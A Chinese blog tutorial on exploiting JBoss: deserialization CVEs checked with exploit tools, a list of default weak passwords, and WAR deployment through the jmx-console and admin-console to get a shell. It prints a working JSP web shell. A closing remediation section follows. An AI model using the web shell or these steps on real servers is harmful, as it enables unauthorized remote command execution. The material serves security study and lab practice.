Jboss相关漏洞

本文详细介绍了JBoss应用服务器中的多个反序列化漏洞,包括CVE-2015-7501、CVE-2017-7504和CVE-2017-12149,探讨了如何探测这些漏洞以及利用它们执行系统命令的方法。同时,文章还讲解了如何通过Jboss管理控制台上传WAR包获取Shell。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

目录

Jboss

JBoss JMXInvokerServlet 反序列化漏洞(CVE-2015-7501)

JBoss 4.x JBossMQ JMS 反序列化漏洞(CVE-2017-7504)

JBoss 5.x/6.x 反序列化漏洞复现(CVE-2017-12149)

Jboss管理控制台

Jboss4.x

Jboss5.x/6.x

jboss4.x jmx-console管理后台未授权访问上传war包Getshell

Jboss 5.x/6.x admin-Console后台部署war包Getshell


Jboss

默认端口:8080

Jboss常见弱口令:

  • admin/admin
  • jboss/admin
  • admin/jboss
  • admin/123456
  • admin/password

JBoss JMXInvokerServlet 反序列化漏洞(CVE-2015-7501)

这是经典的 JBoss 反序列化漏洞,JBoss在 /invoker/JMXInvokerServlet 请求中读取了用户传入的对象,然后我们可以利用 Apache Commons Collections 中的 Gadget 执行任意代码。

漏洞探测

此漏洞存在于JBoss中 /invoker/JMXInvokerServlet 路径。访问若提示下载 JMXInvokerServlet,则可能存在漏洞。

这个漏洞利用工具是:java反序列终极化工具.jar

我们先启动靶机环境,访问:http://192.168.10.13:8080/

打开我们的 java反序列终极化工具.jar 工具,选择jboss,输入目标主机的链接,点击目标信息,获取信息。等五六秒的样子,如果能出来目标主机的信息,则说明目标主机存在漏洞。如果没漏洞,会直接提示不存在漏洞,我们等待他的响应即可。

执行系统命令

参考文章:JBoss JMXInvokerServlet 反序列化漏洞

JBoss 4.x JBossMQ JMS 反序列化漏洞(CVE-2017-7504)

Red Hat JBoss Application Server 是一款基于JavaEE的开源应用服务器。JBoss AS 4.x及之前版本中,JbossMQ实现过程的JMS over HTTP Invocation Layer的HTTPServerILServlet.java文件存在反序列化漏洞,远程攻击者可借助特制的序列化数据利用该漏洞执行任意代码。

漏洞探测

该漏洞出现在 /jbossmq-httpil/HTTPServerILServlet 路径下。若访问200,则可能存在漏洞。

这个漏洞利用工具是:java反序列终极化工具.jar

我们先启动靶机环境,访问:http://192.168.10.13:8080/

打开我们的 java反序列终极化工具.jar工具,选择jboss,输入目标主机的链接,点击目标信息,获取信息。等十来秒的的样子,有时候需要等久一点,多点几次,如果能出来目标主机的信息,则说明目标主机存在漏洞。如果没漏洞,会直接提示不存在漏洞,我们等待他的响应即可。

执行系统命令

相关文章:JBoss 4.x JBossMQ JMS 反序列化漏洞(CVE-2017-7504)

JBoss 5.x/6.x 反序列化漏洞复现(CVE-2017-12149)

该漏洞为 Java 反序列化错误类型,存在于 Jboss 的 HttpInvoker 组件中的 ReadOnlyAccessFilter 过滤器中。该过滤器在没有进行任何安全检查的情况下尝试将来自客户端的数据流进行反序列化,从而导致了漏洞。

漏洞探测

此漏洞路径存在于 /invoker/readonly。若访问此页面为500,则可能存在漏洞。

这个漏洞利用工具是:java反序列终极化工具.jar   或   jboss反序列化_CVE-2017-12149.jar

我们先启动靶机环境,访问:http://192.168.10.13:8080/

开我们的 java反序列终极化工具.jar工具,选择jboss,输入目标主机的链接,点击目标信息,获取信息。等五六秒的样子,如果能出来目标主机的信息,则说明目标主机存在漏洞。如果没漏洞,会直接提示不存在漏洞,我们等待他的响应即可。

执行系统命令

或者利用工具:jboss反序列化_CVE-2017-12149.jar

输入目标URL,点击检测,过几秒就看底下的信息看是否存在漏洞

确认存在漏洞后,输入命令,点击执行,下面命令的回显了

Jboss管理控制台

Jboss4.x

jboss 4.x 及其之前的版本 console 管理路径为 /jmx-console/ 和 /web-console/ 。

jmx-console的配置文件为

/opt/jboss/jboss4/server/default/deploy/jmx-console.war/WEB-INF/jboss-web.xml  #jboss的绝对路径不同网站不一样

web-console的配置文件为

/opt/jboss/jboss4/server/default/deploy/management/console-mgr.sar/web-console.war/WEB-INF/jboss-web.xml  #jboss的绝对路径不同网站不一样

控制台账号密码

jmx-console 和 web-console共用一个账号密码 ,账号密码文件在

/opt/jboss/jboss4/server/default/conf/props/jmx-console-users.properties
格式为:账号:密码

Jboss5.x/6.x

Jboss5.x开始弃用了 web-console ,增加了 admin-console。jboss5.x / 6.x 版本 console 路径为 /jmx-console/ 和 /admin-console/。

jmx-console的配置文件为

jboss/common/deploy/jmx-console.war/WEB-INF/jboss-web.xml  #jboss的绝对路径不同网站不一样

admin-console的配置文件为

jboss/common/deploy/admin-console.war/WEB-INF/jboss-web.xml   #jboss的绝对路径不同网站不一样

控制台账号密码

jmx-console 和 web-console 共用一个账号密码 ,账号密码文件在

jboss/server/default/conf/props/jmx-console-users.properties

jboss4.x jmx-console管理后台未授权访问上传war包Getshell

Jboxx4.x /jmx-console/ 后台存在未授权访问,进入后台后,可直接部署 war 包Getshell。若需登录,可以尝试爆破弱口令登录。

直接访问: http://xx.xx.xx.xx:8000/jmx-console/   或者点击图片处

进入后台后,点击 Jboss.deployment 进入应用部署页面,也可以直接输入URL进入

http://xx.xx.xx.xx:8080/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.deployment:type=DeploymentScanner,flavor=URL

生成war包

one.jsp的内容如下

<%
    if("123".equals(request.getParameter("pwd"))){
        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
        int a = -1;          
        byte[] b = new byte[1024];          
        out.print("<pre>");          
        while((a=in.read(b))!=-1){
            out.println(new String(b));          
        }
        out.print("</pre>");
    } 
%>

将one.war放在我们的VPS上

部署war包

找到 void addURL(),注意这里ParamType是java.lang.String,然后在ParamValue填入我们远程的war包,点击invoke

查看部署是否成功

返回到刚进入jmx-console的页面,找到 jboss.web.deployment,如下说明部署成功。如果没显示,多刷新几次页面或者等会儿,直到看到有部署的war包即可

访问木马

Jboss 5.x/6.x admin-Console后台部署war包Getshell

Jboss5.X开始,jmx-console不能部署war包了,需要admin-console后台部署

登录进admin-console后台后,点击Web Application(WAR)s ,然后Add a new resource

这里选择我们本地生成好的war包

如下,部署成功

访问木马

 

相关文章:jboss中控制台jmx-console 登录的用户名和密码设置

### JBoss 中间件常见漏洞及其修复方案 #### 背景概述 JBoss 是一种流行的 Java 应用服务器,广泛用于企业级应用开发。然而,由于其复杂性和广泛的使用场景,它也成为了攻击者的目标之一。常见的 JBoss 漏洞主要包括反序列化漏洞、未授权访问漏洞以及其他配置当引发的安全问题。 --- #### 反序列化漏洞 反序列化漏洞是一种高危漏洞,可能导致远程代码执行 (RCE),从而完全控制受影响的系统。这种类型的漏洞在多个版本的 JBoss 中都曾被发现[^2]。 - **漏洞原理**: 攻击者通过发送恶意的序列化对象到 JBoss 的处理接口(如 HTTP 请求),触发反序列化过程中的代码执行。 - **解决方案**: - 更新至最新版本的 JBoss,官方通常会在新版本中修补已知漏洞。 - 移除必要的组件和服务,特别是那些支持 RMI 和 JMX 协议的功能模块。 - 使用防火墙或 Web 应用防火墙 (WAF) 来阻止可疑流量。 - 配置严格的权限管理策略,确保只有经过身份验证的用户才能访问敏感功能。 --- #### 未授权访问漏洞 如果 JBoss 的管理界面或特定服务暴露在外网而没有适当的身份验证机制,则可能会发生未授权访问的情况。 - **漏洞表现**: 攻击者可以通过默认端口(如 `8080` 或 `9990`)直接访问管理页面并执行危险操作。 - **修复措施**: - 修改默认管理员账户的用户名和密码,并定期更换强密码。 - 关闭需要的服务端口,仅开放必要的通信通道。 - 启用 HTTPS 加密传输协议来保护数据交换的安全性。 - 对外部请求实施 IP 白名单限制,防止非法来源连接。 --- #### 密码重置逻辑漏洞 虽然这JBoss 特有的问题,但在集成第三方应用程序时仍需注意此类风险。例如,在实现密码找回功能的过程中可能存在设计缺陷,使得攻击者能够轻易更改他人账户密码[^3]。 - **防范对策**: - 在整个流程中加入额外的验证环节,比如二次确认邮件或者动态生成的一次性令牌。 - 确保所有的输入参数都在服务器端进行了充分校验而是单纯依赖前端提交的数据。 - 记录每次尝试修改密码的行为以便事后审计追踪异常活动迹象。 --- ```bash # 示例:检查是否存在弱密码设置 curl --digest -u admin:password http://localhost:9990/management \ -H "Content-Type: application/json" \ -d '{"operation":"read-resource","address":[]}' ``` 上述脚本可用于测试当前环境下的基本认证安全性状况;实际部署前应替换掉示例中的明文凭证信息以防泄露隐患。 --- #### 综合防护建议 除了针对具体漏洞采取对应补救行动外,还应该建立全面的安全管理体系: 1. 定期审查日志文件查找潜在入侵痕迹; 2. 实施最小特权原则减少误操作带来的损害范围扩大可能性; 3. 利用自动化工具扫描源代码寻找隐藏的风险点; 4. 教育员工提高警惕意识避免社会工程学攻击得逞机会增加。 ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

谢公子

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值